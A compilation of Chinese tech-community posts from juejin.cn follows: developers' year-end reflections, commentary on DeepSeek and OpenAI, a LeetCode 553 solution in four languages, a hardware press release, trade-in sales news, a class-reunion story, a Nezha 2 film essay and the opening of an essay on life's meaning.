- 工作压力大了 ,兴趣度 - 1
- 每加一次班 ,兴趣度 - 1
- 每和产品打一架 , 兴趣度 -1
- 不涨工资不升职 , 兴趣度 -1
- 。。。。。
每一次工作上的不如意 ,都会让你对编码的兴趣降低!!
久而久之 ,你可能会想 : 你是不是不喜欢编码 ,你可能根本不喜欢写代码 , 你不想再为这个你不喜欢的兴趣花精力了。
而这篇文章的目的 ,就是为了给大家一个方向 : 如何维持自己的兴趣 ,找回初心。
关于我的一年
发布的文章 - Java 部分 :
今年和往年大差不差 ,发布了 40+ 篇文章。其中 Java 只针对一些特定领域进行了加强 :
加上一些零零散散的 JVM 文章 ,总共应该15篇左右。 但是这些其实已经够了 ,到了5-10年这个年限 , 单纯编码技术上已经没有太大的空间了。
年轻的时候硬吃底层 ,是为了提高自己的代码水平。年限大了就会发现 ,底层代码其实都差不多 ,哪怕看过了流程 ,转头就忘 ,就算不忘 ,大多数地方一辈子也用不上。
📍 总结 : 所以我现在对自己的规划是针对于特定场景, 进行深度的思考 ,更偏向与架构层面。
寻求突破 - 其他部分 :
其他的大部分精力 ,都没有局限当前的语言上面 , 一直在研究新的东西。
重要的精力都放在了 Python 和 大数据 , AI 层面。 他们针对的目的性都是不同的。
- ❤️ Python 的目的是为了开辟自己的副业
- ❤️ 大数据是当前行业的升级 ,大数据能让我在当前领域尝试更多的创新模式
- ❤️ AI 是未来 ,记住 , 人工智能是未来
这3个方向都没有把自己局限在编码层面了 ,而这3个模块都有可能让我在脱离工作后 ,也能拥有更多的出路, 不管是创业还是寻求更好的工作,他们都能有所帮助。
📍 总结 : 所以没必要把自己限制在一行行代码之间,CURD 已经在工作中写的够多了,去看看一些关联的领域。
给自己一点奖励吧
写代码 6-7 年了 , 我对编程还是一如初心, 其实只是对自己经常进行一些小奖励 , 这里我也许可以给苦恼的朋友们一些小方向 :
每年奖励自己一门新语言 :
这些年来 ,我陆陆续续尝试了 JavaScript
, Android
, Lua
(这个不算大, 算是偷懒了) , 到今年用 Python
写了一个开源工具。
我每年都会让自己去了解一下其他的语言, 他们都不会学的太深 ,主要的定位是能用他们产生一个生产力的应用。
比如 JavaScript 主要用来写了一个小程序 (最后不好玩都没上架)。 Lua 是为了自己实现一个 Nginx 的工具。
Android 是为了实现一个简单的 App , Python 是为了能炒股。
👉 奇奇怪怪的想法和思路 ,以及实现后的一点点成就感 ,是维持兴趣的一大核心。
每年奖励一些新东西 :
年初 AIGC 大火的时候 ,就一直在尝试 AIGC 转换成生产力
,最简单的实现就是帮我老婆实现了一个 SD 的文生图服务器 ,不过后面太贵了就下了(真老贵)。
然后又陆陆续续的尝试各种 AIGC 的直接使用 ,当你切实的做出一点什么后 ,成就感老多了。
AIGC : 真的要失业了 , 让 ControlNet 带来一点小震撼
然后这一年都在让 AI 帮我提高生产力 ,可以说非常成功。 比如我的 Python 项目 ,其中80% 的代码都是 AI 实现的, 这让我最后落地的压力大大减轻,成功率提高了很多。
👉 新的东西 ,总能让我感觉到我还很年轻 ,未来还有无限可能。
时不时的让自己彻底放松一次 :
不要去思考工作 ,不要去思考未来 ,就彻彻底底的为了去玩。
一开始是黑神话大火 ,那是真的下班准时走 ,技术是一天不带看的 ,就是为了玩, 连续玩了大半个月 ,通关后整个人都舒服了,谁也别想让我学。
然后后面又给自己奖励了一台小相机 ,那每周拖着家人出去拍照 ,学 ? 学个屁学,那不拿个摄影奖 ,学什么学。
👉 玩的不多 ,每年也就2-3次 ,但是真的能让人压力降低很多。
总结
2024 已经过去了 ,2025 也将到来 ,计划年初就已经定完了 , 又是充满期待的一年。
希望各位都能在生活中找到自己的节奏 ,不要有了工作失去生活。
祝大家新年快乐。
最后的最后 ❤️❤️❤️👇👇👇
- 👈 欢迎关注 ,超200篇优质文章,未来持续高质量输出 🎉🎉
- 🔥🔥🔥 系列文章集合,高并发,源码应有尽有 👍👍
- 走过路过不要错过 ,知识无价还不收钱 ❗❗
来源:juejin.cn/post/7463442625900281907
DeepSeek 出现的最大意义,是让老美意识到"闭源"死路一条
OpenAI
因为 DeepSeek 的崛起,导致 OpenAI 坐不住了。
虽然 OpenAI 的创始人兼 CEO 奥特曼曾在推特上大方表示:像 DeepSeek 这样的对手的出现,让他们感到兴奋,马上他们也会发布更好的模型。
于是在昨天凌晨,OpenAI 发布了全新推理模型 o3-mini:
甚至是免费提供 o3-mini 给用户使用,这也是 ChatGPT 首次向所有用户免费提供推理模型。
但又正如你现在也没有听说多少关于 o3-mini 的新闻那样,这个新模型的发布,更多只是 OpenAI 一方"自认为的大招",并未在 AI 圈掀起多少波澜 🤣🤣🤣
虽然 o3-min 不怎么样,但在 OpenAI 和奥特曼这段时间的丝滑小连招中,给外界传递了一个重磅信息:OpenAI 将重新考虑开源。
好家伙,这才是 DeepSeek 对世界的重大意义 👍👍
在最近一次的 Reddit(老美的贴吧)问答中,奥特曼表示:OpenAI 在开源问题上一直处于"历史错误的一边",需要制定不同的开源策略。
众所周知,OpenAI 中的 Open 一定程度就是指 "OpenSource 开源",旨在通过开源促进 AI 技术共享,早期他们也确实开源了部分 GPT 的版本(比如 2019 年开源了 GPT-2 的部分版本),但自从 ChatGPT 爆火之后,开源的工作他们就彻底不做了,也开始自主摘掉"非盈利性"的帽子,转而考虑融资和盈利问题。
这也是世界首富(同时也是 OpenAI 的早期投资人)马斯克一直吐槽的事儿:OpenAI 前期打着"推动世界 AI 发展"的口号,拿了不少捐赠和资源,等到小有成绩的时候,就开始盘算如何"藏着捏着"来大赚一笔。
如今 DeepSeek 的出现,已经打破了 OpenAI 领先业界的局面。
奥特曼现在公开表示重新考虑"开源问题",并不是良心发现,而是深切知道,差距在缩小,如果再坚持"闭源"将会死路一条。
相比于让大家免费使用上推理模型,能让 OpenAI 重新考虑开源,才是 DeepSeek 对这个世界而言的最大意义。
...
年初五接财神,祝大家 2025 财源广进。
继续安排一道简单算法题。
题目描述
平台:LeetCode
题号:553
给定一组正整数,相邻的整数之间将会进行浮点除法操作。
例如, [2,3,4] -> 2 / 3 / 4
。
但是,你可以在任意位置添加任意数目的括号,来改变算数的优先级。
你需要找出怎么添加括号,才能得到最大的结果,并且返回相应的字符串格式的表达式。
你的表达式不应该含有冗余的括号。
示例:
输入: [1000,100,10,2]
输出: "1000/(100/10/2)"
解释:
1000/(100/10/2) = 1000/((100/10)/2) = 200
但是,以下加粗的括号 "1000/((100/10)/2)" 是冗余的,
因为他们并不影响操作的优先级,所以你需要返回 "1000/(100/10/2)"。
其他用例:
1000/(100/10)/2 = 50
1000/(100/(10/2)) = 50
1000/100/10/2 = 0.5
1000/100/(10/2) = 2
说明:
- 输入数组的长度在 之间。
- 数组中每个元素的大小都在 之间。
- 每个测试用例只有一个最优除法解。
数学 + 贪心
我们假定取得最优解的表示为 ,可以留意到任意的 的范围为 ,因此我们应当让尽可能多的 参与 (分子)的构建中。
因此一种可以构成最优表示的方式为「将除第一位以外的所有数作为一组,进行连除(转乘法),从而将所有可以变成分子的数都参与到 的构建中」。
即有:
综上,我们只需要从前往后进行构建出连除的答案,如果 的长度大于 ,再追加一对大括号即可。
=> =>
Java 代码:
class Solution {
public String optimalDivision(int[] nums) {
int n = nums.length;
StringBuilder sb = new StringBuilder();
for (int i = 0; i < n; i++) {
sb.append(nums[i]);
if (i + 1 < n) sb.append("/");
}
if (n > 2) {
sb.insert(sb.indexOf("/") + 1, "(");
sb.append(")");
}
return sb.toString();
}
}
C++ 代码:
class Solution {
public:
string optimalDivision(vector<int>& nums) {
int n = nums.size();
string ans;
for (int i = 0; i < n; i++) {
ans += to_string(nums[i]);
if (i + 1 < n) ans += "/";
}
if (n > 2) {
ans.insert(ans.find("/") + 1, "(");
ans += ")";
}
return ans;
}
};
Python 代码:
class Solution:
def optimalDivision(self, nums: List[int]) -> str:
n = len(nums)
ans = ''
for i in range(n):
ans += str(nums[i])
if i + 1 < n:
ans += '/'
if n > 2:
idx = ans.find('/') + 1
ans = ans[:idx] + '(' + ans[idx:]
ans += ')'
return ans
TypeScript 代码:
function optimalDivision(nums: number[]): string {
const n = nums.length;
let ans = '';
for (let i = 0; i < n; i++) {
ans += nums[i].toString();
if (i + 1 < n) ans += '/';
}
if (n > 2) {
const idx = ans.indexOf('/') + 1;
ans = ans.substring(0, idx) + '(' + ans.substring(idx);
ans += ')';
}
return ans;
};
- 时间复杂度:
- 空间复杂度:,其中 为 的最大长度,对于本题
来源:juejin.cn/post/7466448971695800347
双微联动 ! 智微智能荣获瑞芯微“2024年度卓越贡献奖”
近日,智微智能获得了瑞芯微颁发的“2024年度卓越贡献奖”。这一奖项不仅是对我们过去一年在Rockchip方案开发及市场拓展的认可,更是对未来双方继续深化合作的期许。
强强联合,推出多样化智能硬件
智微智能与瑞芯微多年来一直保持着紧密的合作关系,共同致力于推动智能硬件的创新与发展。通过采用瑞芯微高性能、低功耗、高度自主化和多功能集成的芯片,智微智能成功打造了一系列适用于物联网、商业和工业领域的智能硬件产品。
应用领域广泛,助力各行各业智能化升级
智微瑞芯微Rockchip全系列智能硬件,凭借其卓越的性能和广泛的应用领域,正在助力各行各业实现智能化升级。
1.智慧工业
智微工业通用产品线基于RK3576/RK3576J/RK3568/RK3568J/RK3588/RK3588J芯片,涵盖了SMARC SoM、主板、BOX PC、工业一体机、AI BOX等产品形态,并凭借其低功耗、高精度、高可靠的性能以及强劲的AI计算能力,为各类应用场景提供最适用的方案。智微工业针对工业自动化场景下的机器视觉应用、电力、新能源、智慧交通(信号灯控制)、智慧医疗、智慧物流、ARM/服务机器人以及无人机控制等应用的需求,开发了一系列专用产品线,如PAS系列机器视觉整机、电力网关、储能EMS、信号灯控制系统、IVD核心板、机器人主板、无人机飞控主板等,为细分领域的智能化升级和AI应用提供了强大的硬件支撑。
2.智慧教育与办公
作为OPS标准的推动者和引领者,智微OPS产品被广泛应用于智慧教室,基于RK3388/RK3399的OPS模块,为师生提供稳定、高效且流畅的图像处理和演示体验,并支持AI交互,让日常教学更加现代化、趣味化和个性化。
在办公领域,云终端系列采用了RK3566和RK3568芯片,兼顾强劲的性能、体积小巧和易于携带的优势,无论在哪个角落,都能帮助用户实现远程办公和移动办公的无缝切换。
另外,基于RK3588的NAS存储产品以其节能省电、小盘位存储和拓展能力,越来越受个人办公和家庭存储的青睐。
3.智慧商业
在商业领域,POS机主板和商显主板则广泛应用于自助终端、收银系统和商业显示等多个领域,为商家和消费者提供了更加智能、便捷的服务体验 。
其中,商显主板支持多屏高清显示,除了为商户提供智能化、个性化的广告显示,帮助其精准触达每一个商机,也让消费者获得较好的互动体验和视觉享受。
4.AI边缘
智微AI边缘终端采用了RK3588/RK3568芯片,能够显著提升数据处理的效率和智能化水平,强大的计算能力成为了边缘计算设备的理想选择。E系列边缘终端能够在边缘侧实现实时数据处理和智能决策。产品配合定制的软件,能够为不同的行业需求提供量身定制的解决方案,可用于安防、交通、能源和新零售等多个应用中。
智微智能瑞芯微产品线现已全面接入DeepSeek,双微也将共同迎接端侧AI的大规模应用爆发。我们将继续深耕物联网和工业自动化的细分领域,不断推出更符合应用需求的产品,用科技革命为行业的智能化升级全面赋能!
收起阅读 »春节期间以旧换新销售额超310亿 数码产品成热卖新年货
证券时报记者 秦燕玲
2月10日,国家发展改革委发布消息称,今年春节期间(2025年1月28日~2月4日),汽车、家电家居、手机等产品以旧换新销售量达到860万台(套)、销售额超过310亿元,其中,家电、手机销售收入同比大幅增长约166%、182%,手机等数码产品成为春节“新年货”,消费市场活力有效提升。
1月8日,国家发展改革委、财政部印发加力扩围实施“两新”(大规模设备更新和消费品以旧换新)政策的通知,对2025年“两新”工作进行整体部署。此后商务部等部门陆续出台具体政策实施细则,推动落实汽车、家电、手机、家装消费品等领域更新换新,春节假期前,全国31个省、自治区、直辖市即全面启动消费品以旧换新,实现政策衔接和资金接续。
国家发展改革委指出,在“两新”加力扩围的带动下,消费者参与更新换新热情高涨,重点领域消费品销售显著增长。初步梳理,春节期间全国汽车、家电家居、手机等数码产品以旧换新销售量达到860万台(套),销售额分别约66亿元、105亿元、141亿元;北京、江苏、浙江、河南、湖北、广东等地区以旧换新销售额均超过15亿元,位居全国前列。
国家税务总局数据显示,春节期间全国家电、手机销售收入同比增长166%、182%,其中电视机销售收入同比增长227%。主要电商平台春节期间消费品以旧换新搜索量超过4000万次,订单量同比增长40%以上。
将手机、平板、智能手表(手环)纳入补贴范围是今年“两新”政策加力扩围的重要看点,个人消费者购买售价不超过6000元的产品,每个品类最高可获得500元的购新补贴。记者日前从商务部获悉,1月20日0时~2月8日24时,已有2009.2万名消费者申请了2541.4万件手机等数码产品购新补贴。
消费者申领补贴“辞旧机、迎新机”的热情在终端消费数据上也有进一步体现。国家发展改革委表示,初步梳理,春节期间全国手机等数码产品销售量突破450万台,销售额占消费品以旧换新总销售额的45%。更具体来看,2000元以下、2000~4000元、4000~6000元价位手机销售量与上年春节假期相比分别增长10%、52%、108%。
在数码产品购新补贴的实施方案中,商务部等部门强调要加强资金管理,确保手机等数码产品购新补贴政策平稳、顺畅实施。
收起阅读 »俊劫的2024年终总结:当爹、卖主机、差点失业
一、布丁的出生
2024-9-19,我儿子布丁顺顺利利来到这个世界。
1.1 出生那一刻
一开始觉得没什么,但是当微信收到老婆发的信息,那一瞬间感动的热泪盈眶😭。生完还需要在产房观察2小时,我在外面等的这段时间,描述不清楚是什么感受。当时找了个角落,给自己录了几段视频,想说的话,巴巴拉拉啥都说说,不过现在也没看过😂
1.2 费用
全部费用没算过,就生娃住院那4天,自费部分差不多6500左右,包含1350的护工费(450*3),包含48天后产妇体检的费用。
因为是一胎,咱也没啥经验,害怕很多意外的出现,所以就选了杭州产科最强的医院:市一。 因为医院比较老,附近停车贼困难,而且还很贵,10块一小时。SUV停了几次机械车位,差点把后视镜干掉了。
实际生产还是挺顺利的,宝宝在妈妈肚子里多待了5天,出生之后做的各项目检查都正常。现在看,选着最近的医院才是比较好的选择。
1.3 为什么要生
和一部分人一样,家长催生占一部分,但不是决定性的。去年结婚,对我们而言就是生娃的信号。35岁以上会被定义为大龄产妇,大龄产妇又会面临着各种危险。同条件下,越年轻,生完恢复的也越好。
再加上我姐姐也还没生,我这个家庭相对来说缺一个娃来让整个大家庭更有目标感。所以现在布丁出生后,会有超级多的人来爱他,特别是妈妈和姑姑
偶然在xhs看到一句话:养娃能看到过去自己长大的过程,会把自己认为父母亏欠的部分加倍补偿给自己的孩子,或许是在治愈自己,也或许是在满足自己
1.4 养娃
太多攻略要做了,这里要非常感谢一位朋友的帮助,比我先生宝宝,然后经验都分享给我了,经常问他各种问题😭帮了巨多忙。
养娃不仅仅要研究育儿知识,每个月伺候宝宝的方法还是不同的,宝宝的变化非常非常快。针对宝宝的不同反应,要做出不同的应对。因为媳妇快要上班了,这些东西不能仅仅是我们自己会,还得教他奶奶。但是他奶奶也五十几了,很多东西学不会,记不住,就很困难,也没啥办法。
然后中间还要调解婆媳关系,我日常还要上班,中间有段时间,中午不吃饭,时间全部用来睡觉。。。
现在处于教学痛苦期,观察好宝宝的反应,其实很好哄。但是他奶奶学不会,导致现在给奶奶带,就往死里哭😭。但是我们又不得不依赖他奶奶,不然上班就没人管了。
但是,有时候他奶奶不觉得是自己的问题,就觉得是宝宝的问题,就是要闹人,也不知道找原因,所以我现在是非常痛苦的。有时候只能安慰媳妇,没办法,让宝宝自己适应。。。
1.5 拍拍拍
3个多月了,回头看过去的样子,感觉自己还拍少了😂
1.6 男宝女宝
就身边的现象来说
- 高中同学
- 目前已知3个女宝
- 微信网友
- 同一天出生的,1个女宝
- 去年兔年生的,1个女宝
- 村里
- 目前已知3个女宝
- 公司同事
- 1男宝1女宝
- 媳妇同事生1女宝
- 同产房
- 1男宝3女宝
15个宝宝,只有2个男宝,13个女宝。 生男生女,概率不是差不多吗?
我倒是无所谓,生男生女,各有各的好处。你们身边男宝多还是女宝多?
二、工作
去年武汉被裁后,就来杭州这家了,当时还有点小插曲。因为武汉一家公司在我入职这家后又给了offer,我很纠结要不要去,当时处于这也想要,那也想要的状态,精神差点崩溃。
2.1 极越(集度)
关注新能源的应该都知道这个事吧,12月直接宣布原地解散了。去年在武汉可是大规模招聘,开的也算武汉Top几了。当时面了4轮,战线拉一个月,后面HC收紧被待定,然后一个月以后又联系给offer,蜜汁操作。要是早给,我肯定就去了。。。
去了的话,现在又是找工作的时间。我媳妇就认为是她的功劳,不是她在杭州,不是她对房子没有那么大执念了,我肯定又回武汉了。当初想去集度,就想赌一把百度智驾。我想着百度都干那么久了,对其他车企不得是降维打击,结果啊,百度还是那个百度。
间接躲过一劫,差点失业
2.2 晋升
虽然结果没出,但是我觉得是个伤心事
2.3 面试
帮忙面试
最近帮着公司招外包,收到一些十年以上经验的简历,很尴尬。简历潦草的,让人感觉他们自己也没抱什么希望,上次招聘给了几个大龄的面试机会,结果一个不如一个。第一次9月份,第二次就是最近。9月份也面了挺多的,过了几个,但是当时卡的严,最后一面基本都被毙了,卡着卡着,HC就变成了0
还有个现象就是异地简历贼多,很多都不是在本地工作的,可见大家都在海投,市场情况就是这样
今年又出1个外包HC,我有时候面1面,有时候面2面,给过了几个,不知道能不能来入职。
前端分类
简单分为,1-3年,3-8年,8年+,外包,自研
3年内的多是自研,简历写的都挺不错,但是一问就不会,一问就是别人做的
5年左右,最近一份干外包的居多,技术也还不错
8年+的,很大一部分就简历拉跨,技术也拉跨,各方面都不太行,当然厉害的也不会来投递外包了哈
今年面试感觉到的情况,并不具有代表性,各位简单看看
简单分析
结合我自己现在的状况,我也明白为什么,就是技术停滞,就是学习能力在逐步下降,不得不服。或许因为懒惰,或许因为家庭事情越来越多。。今年我没怎么学习过,就写了1篇掘金文章,很是惭愧。有更多的时间,不是在打游戏,就是在刷视频,看直播。我尝试着在改变,但是有点难。。。
自己也越来越老,通过面试官的身份反省自己,得好好学习,不仅仅是技术方面。
2025年,我还是需要在这块寻找突破口,不能再停滞不前了,不然迟早要被淘汰。
三、旅游
因为有了车,计划了挺多地方的自驾游,但是因为媳妇怀孕,所以就只能轻度转转,尽量避开人多的地方
3.1 南京
视频带奶奶看了下玄武湖,还不如杭州湘湖,哈哈哈
3.2 千篇一律
之前想着把国内这些一二线城市都逛逛,感受感受。但是吧,现在感觉都是千篇一律的商业街,风景区,真没啥意思。每次做攻略都做的好好的,去了以后就感觉和理想的落差太大,然后从这次南京后,就不太想玩这种很常规的旅游了。
看xhs说,这是要加入下一个level的迹象了,明年等小布丁1岁后,他奶奶能带的时候。计划计划去港澳台逛逛,然后日本韩国这些,怎么都得去看看吧。。。
四、主机
4.1 入手
6月初,终于入手了人生第一台主机,是的,没错。毕业5年了,第一次拥有自己的主机,之前都用MacBook 虚拟机打游戏,LOL fps,30~60😂
4.2 配置
2024-5-29价格:
- 板U: 微星B760 爆破弹 Wifi D5 + 12600kf 1694
- 显卡:微星RTX4060 VENTUS2 X WHITE8GOC白色 2180
- 电源:微星MAG A600DN额定600W 234
- 机箱:微星PAG PANO M100L 白色 188
- 散热:微星MAG 寒冰E240白色水冷 369
- 内存:威刚D300 16G 6400MHZ 387
- 硬盘:威刚S50 PRO NVME 1TB 465
合计:5517
pdd微星官方旗舰店整机4999,用卷到手4863
4.3 为什么卖
主要3个原因
- window和mac两种系统切换着用,还是不太舒服,更喜欢mac
- 空闲时间就爱玩LOL,玩几把就要红温
- 有两次下班没带娃玩LOL,媳妇生气了
想了想以后,主机对我也没太大吸引力了,就挂xhs了,就挂了一天,第二天晚上卖了。4863买的,用了半年,卖了4050。
黑神话开挂通关的、使命召唤系列玩了3部,总体也算是过瘾了。
卖完只有一个感慨:老了,花有重开日,人无再少年
4.4 JJ卖主机的奇幻经历
AB两个买家,A爽快最终成交,B一直砍价最后破防
A需送上门 B上门自提,时间线如下:
- B凌晨3点就给我发了个消息,要购买记录,我早上回复了下,人家看我买半年了,砍价说3800,我说不出
- A看到后直接问3900送上门行不行,我犹豫了,来回70km+可能现场验收有问题,就拒绝了。拿着3900,我问早上的B要不要,要的话就给B了。结果B还在还价,问3850行不行,我拒绝了。
- A看我犹豫,直接说不还价了3999送上门,他急着用。我就准备和他交易了,这个时候B又来了,问我怎么样,我说A直接3999了,B这个时候急了,说他也可以3999,现在就可以上门
- 同价格我肯定选择B上门自提的,但是这个时候A已经拍下了咸鱼链接,我和A说了这个事,他又给我加了50,意思给路费。 我和B说,他那边已经拍了,B就生气了,长篇大论说我人不行。。。
所以最后的结果:我怕B是个事逼,而且A已经拍了,所以还是选择送货上门和A交易,A比较痛快,貌似是个主播,上门简单验机后直接打钱,省了咸鱼0.6%的手续费
这俩人都是玩无畏契约的,玩过几把,这游戏现在这么火?🔥
4.5 老了
回来路上,一个人在高架上飙了一把,只能感慨:花有重开日,人无再少年
五、11月软考
5.1 系统规划与管理师
过去没有了解过杭州政策,最近朋友说了考这个东西的好处,可以认证E类人才。买房只需要30%,不买房每个月也有2500补贴,政策很香。所以准备来试试,但是因为很久没看过书了,+懒+生娃各方面的因素,几乎没看,考试前还一直在想要不要去考。后面一想,钱都交了,不得去试试,看看裸考能考多少。
结果就是:
还有俩朋友一起考的也没过,很多认真学的,一部分卡在了论文上。毕竟这个东西和利益相关,所以会卡通过率。
5.2 信息系统项目管理师
2025-5月来战斗,有一起考的没!!!
六、其他
零零碎碎的其他事,不想花费太多精力去写这个,年级大了,很多东西都要和利益挂钩。没得利益,就不太愿意付出了。
6.1 兼职
- 赚了几个w,非理财
- 辛苦钱且不稳定
- 得寻找比较稳定的睡后收入
今年国庆节那波股市,太猛了。本来准备拿10个入场的,媳妇都同意了,还是胆小没敢上。。。差点套进去
6.2 领证
感觉要给孩子出生做准备了,之前了解的准生证、建档什么的都得结婚证,反正去年也结婚了,赶紧找时间领了,方便后面办户口。
实际上现在很多都放开了,并不需要结婚证,领了证反而变成已婚了,租房个税都只能填一个人的了。领了证,现在这行情,浙江刚落地的13天婚假也不敢休,有些地方领结婚证还给钱。
所以,领证没得啥好处,建议大家能不领还是不要领
6.3 减肥
- 减了30斤,不过现在还是很胖
- 目前体重稳定了一个月,继续开始减
6.4 房子
- 和媳妇两个人都不再有买房的执念
- 租了个两室一厅,4200,住的挺舒服的
- 没有房贷、没有车贷、没有任何带款
- 养着小布丁,满足了
6.5 计划
2025年,全面拥抱AI,用一句话说:所有行业都值得被AI重构
最后再放一波儿子
来源:juejin.cn/post/7456898384331522099
同学聚会,是我不配?
前言
初八就回城搬砖了,有位老哥跟我吐槽了他过年期间参与同学会的事,整理如下,看读者们是否也有相似的境遇。
缘起
高中毕业至今已有十五年了,虽然有班级群但鲜有人发言,一有人冒泡就会立马潜水围观。年前有位同学发了条消息:高中毕业15年了,趁过年时间,咱们大伙聚一聚?
我还是一如既往地只围观不发言,组织的同学看大家都三缄其口,随后发了一个红包并刷了几个表情。果然还是万恶的金钱有新引力,领了红包的同学也刷了不少谢谢老板的表情,于是乎大家都逐渐放开了,最终发起了接龙。
看到已接龙的几位同学在高中时还是和自己打过一些交道,再加上时间选的是大年初五,我刚好有空闲的时间,总归还是想怀旧,于是也接了龙。
牢笼
我们相约在县城的烧烤一条街某店会面,那离我们高中母校不远,以前偶尔经过但苦于囊中羞涩没有大快朵颐过。
到了烧烤店时发现人声鼎沸,猜拳、大笑声此起彼伏,我循着服务员的指示进入了包间。放眼望去已有四、五位同学在座位上,奇怪的是此时包间却是很安静,大家都在低头把玩着手机。
当我推门的那一刻,同学们都抬头放眼望来,迅速进行了一下眼神交流,微笑地打了招呼就落座。与左右座的同学寒暄了几句,进行一些不痛不痒的你问我答,而后就沉默,气氛落针可闻,那时我是多希望有服务员进来问:帅哥,要点单了吗?
还好最后一位同学也急匆匆赶到了,后续交流基本上明白了在场同学的工作性质。
张同学:组织者,在A小镇上开了超市、圆通、中通提货点,座驾卡迪拉克
李同学:一线城市小创业者,公司不到10人,座驾特斯拉
吴同学:县城第一中学老师、班主任,座驾大众
毛同学:县委办某科室职员、公务员,座驾比亚迪
王同学:某小镇纪委书记,座驾别克
潘同学:县住房和城乡建设局职员,事业编,座驾哈佛
我:二线城市码农一枚,座驾雅迪
一开始大家都在忆往昔,诉说过去的一些快乐的事、糗事、甚至秘辛,感觉自己的青葱时光就在眼前重现。
酒过三巡,气氛逐渐热烈,称呼也开始越拔越高,某书记、某局、某老板,主任、某老总的商业互吹。
期间大家的话题逐渐往县城的实事、新闻、八卦上靠,某某人被双了,某某同事动用了某层的关系调到了市里,某漂亮的女强人离婚了。
不巧的是张同学还需要拜会另一位老板,提前离席,李同学公司有事需要处理,离开一会。
只剩我和其他四位体制内的同学,他们在聊体制内的事,我不熟悉插不进话题,我聊公司的话题估计他们不懂、也不感兴趣。
更绝的是,毛同学接到了一个电话,而后提着酒杯拉着其他同学一起去隔壁的包间敬酒去了,只剩我一个人在包间里。
过了几分钟他们都提着空酒杯回来了,悄悄询问了吴同学才知道隔壁是县委办公室主任。
回来后,他们继续畅聊着县城的大小事。
烧烤结束之后,有同学提议去唱K,虽然我晚上没安排,但想到已经没多少可聊的就婉拒了。
释怀
沿着县城的母亲河散步,看着岸边新年的装饰,我陷入了沉思。
十多年前大家在同一间教室求学,甚至同一宿舍生活,十多年后大家的选择的生活方式千差万别,各自的境遇也大不相同。
再次相遇,共同的话题也只是学生时代,可是学生时代的事是陈旧的、不变的,而当下的事才是新鲜的、变化的。因此聚会里更多的是聊现在的事,如果不在一个圈子里,是聊不到一块的。
其实小城里,公务员是一个很好的选择,一是稳定,二是有面子(可能本身没多大权利,但是可以交易,可以传递)。小城里今天发生的事,明天就可能人尽皆知了,没有秘密可言。
有志于公务员岗位的朋友提早做准备,别等过了年纪就和体制内绝缘了。
其他人始终是过客,关注自己,取悦自己。
来源:juejin.cn/post/7468614661326159881
《哪吒2》申公豹:一个寒门贵子的悲壮逆袭,刺痛了谁的神经?
导语:
当《哪吒2》用颠覆性的视角重塑申公豹时,这个曾被贴上“反派”标签的角色,竟成了无数观众心中的意难平。他不再是一个扁平化的恶人,而是一面镜子,映照出当代社会最扎心的真相——成见、寒门困境与人性的灰度。今天,我们借申公豹的悲壮逆袭,聊聊那些刺痛现实的隐喻。
一、成见:一座压垮“寒门贵子”的大山
申公豹的悲剧,始于一句“妖不配成仙”。他出身妖族,拼尽千年修炼考入昆仑山“大厂”,却因出身卑微沦为“外门弟子”,脏活累活全包,功劳苦劳全无。正如影片那句戳心台词:“人心中的成见是一座大山,任你怎么努力也休想搬动。”
现实映射:职场中的学历歧视、地域偏见、年龄门槛,何尝不是“申公豹困境”?一个专科生能力再强,也可能因一纸文凭被拒之门外;一个小镇青年挤进一线城市,却在“土著优先”的潜规则中举步维艰。成见这把刀,杀人不见血。
二、寒门逆袭:一场注定孤独的修行
申公豹的修仙路,堪称“仙界版小镇做题家”。他是全村第一个考入昆仑山的“大学生”,背负家族期望,却在神仙体系内卷中沦为“工具人”。玉虚宫的“仙二代”们躺平混日子,而他只能靠“996修仙”勉强立足,最终发现:寒门出身不是原罪,自我否定才是深渊。
现实映射:当代年轻人的“申公豹式挣扎”——北漂沪漂的“黑手套”、大厂螺丝钉的无效内卷、寒门学子掏空六个钱包的学区房……我们何尝不是在“证明自己”的路上,被社会标准绑架?申公豹的偷灵珠、算计哪吒,像极了某些人为了升职不择手段的无奈,但影片质问:若规则本身不公,反抗是否必须沾染黑暗?
三、人性灰度:撕开“非黑即白”的伪命题
申公豹的“洗白”引发争议,但影片的高明之处恰在于此。他偷灵珠是为打破偏见,屠陈塘关是为救敖丙,却又在危难时赠药救民。这种矛盾,撕开了人性的伪装:善与恶从非对立,而是挣扎中共存。
现实启示:我们习惯用“好人”“坏人”标签简化世界,却对职场中的“背锅侠”、家庭中的“沉默者”缺乏共情。申公豹的复杂性提醒我们:真正的成熟,是接纳世界的混沌,在灰度中守住底线。
四、孤勇者的启示:在偏见中淬炼本心
面对家人被害、徒弟遇险,申公豹的选择令人动容。他没有被仇恨吞噬,而是冷静揭露真相,以孤身战三龙的壮烈诠释了“我命由我不由天”。这背后,是影片对“奋斗者精神”的致敬——即使世界以偏见待我,我仍以道义报之。
现实意义:在“躺平”与“内卷”撕裂的当下,申公豹的孤勇是一剂清醒药:真正的强大,不是迎合规则,而是在认清现实后,依然选择做自己。就像那些在职场霸凌中坚守原则的打工人,在流量至上的时代坚持内容的创作者——他们或许“失败”,却活成了自己的英雄。
结语:
《哪吒2》借申公豹的悲情,完成了一场对现实的犀利解剖。它告诉我们:成见会杀人,寒门难破局,但比命运更可怕的,是向偏见屈膝的灵魂。愿每一个“申公豹”,都能在时代的夹缝中,找到属于自己的光。
来源:juejin.cn/post/7468218848228556826
关于意义的问题
深夜加班回家的路上,我经常独自漫步在家到公司那段不到四公里的路上。有时候我会想想一天工作的内容及改进,但是更多的时间会想到工作的价值以及自己人生的目标,从而经常会陷入更深邃的幻想中,却得不到明确的答案。
背景
从考入大学到参加工作,我已经在这个城市度过了十七年的岁月,基本上算是我的半个故乡了。回顾半生:事业有成,好像还差好远;家庭幸福,好像也只能说安安稳稳;高朋满座,好像连一个知心人都难找。可为何我还执着于这个城市?不离去,回到心灵安放的故乡。
关于意义
在大城市继续奋斗,还是回到自己家乡这样的小城安稳度日。关于这种社会话题的价值讨论,其实已经有很多不同的观点。不管我选择了何种方式,关于工作的价值,关于今后生活的幸福感和意义感,也并不一定能够得到满足,人生的价值选择并没有什么标准答案,困惑、孤独、焦虑本就伴随着我们的一生。
我们这代人接受到现代化的思想,有一个最重要的思想动力,就是“理性”的观念,去除了对宗教、迷信、传统思想的依赖。然后我们生活的意义到底是什么?我们用理性去回答这个问题,却发现非常困难,甚至无能为力,所以我们时常会感到焦虑和空虚。
关于韦伯的见解
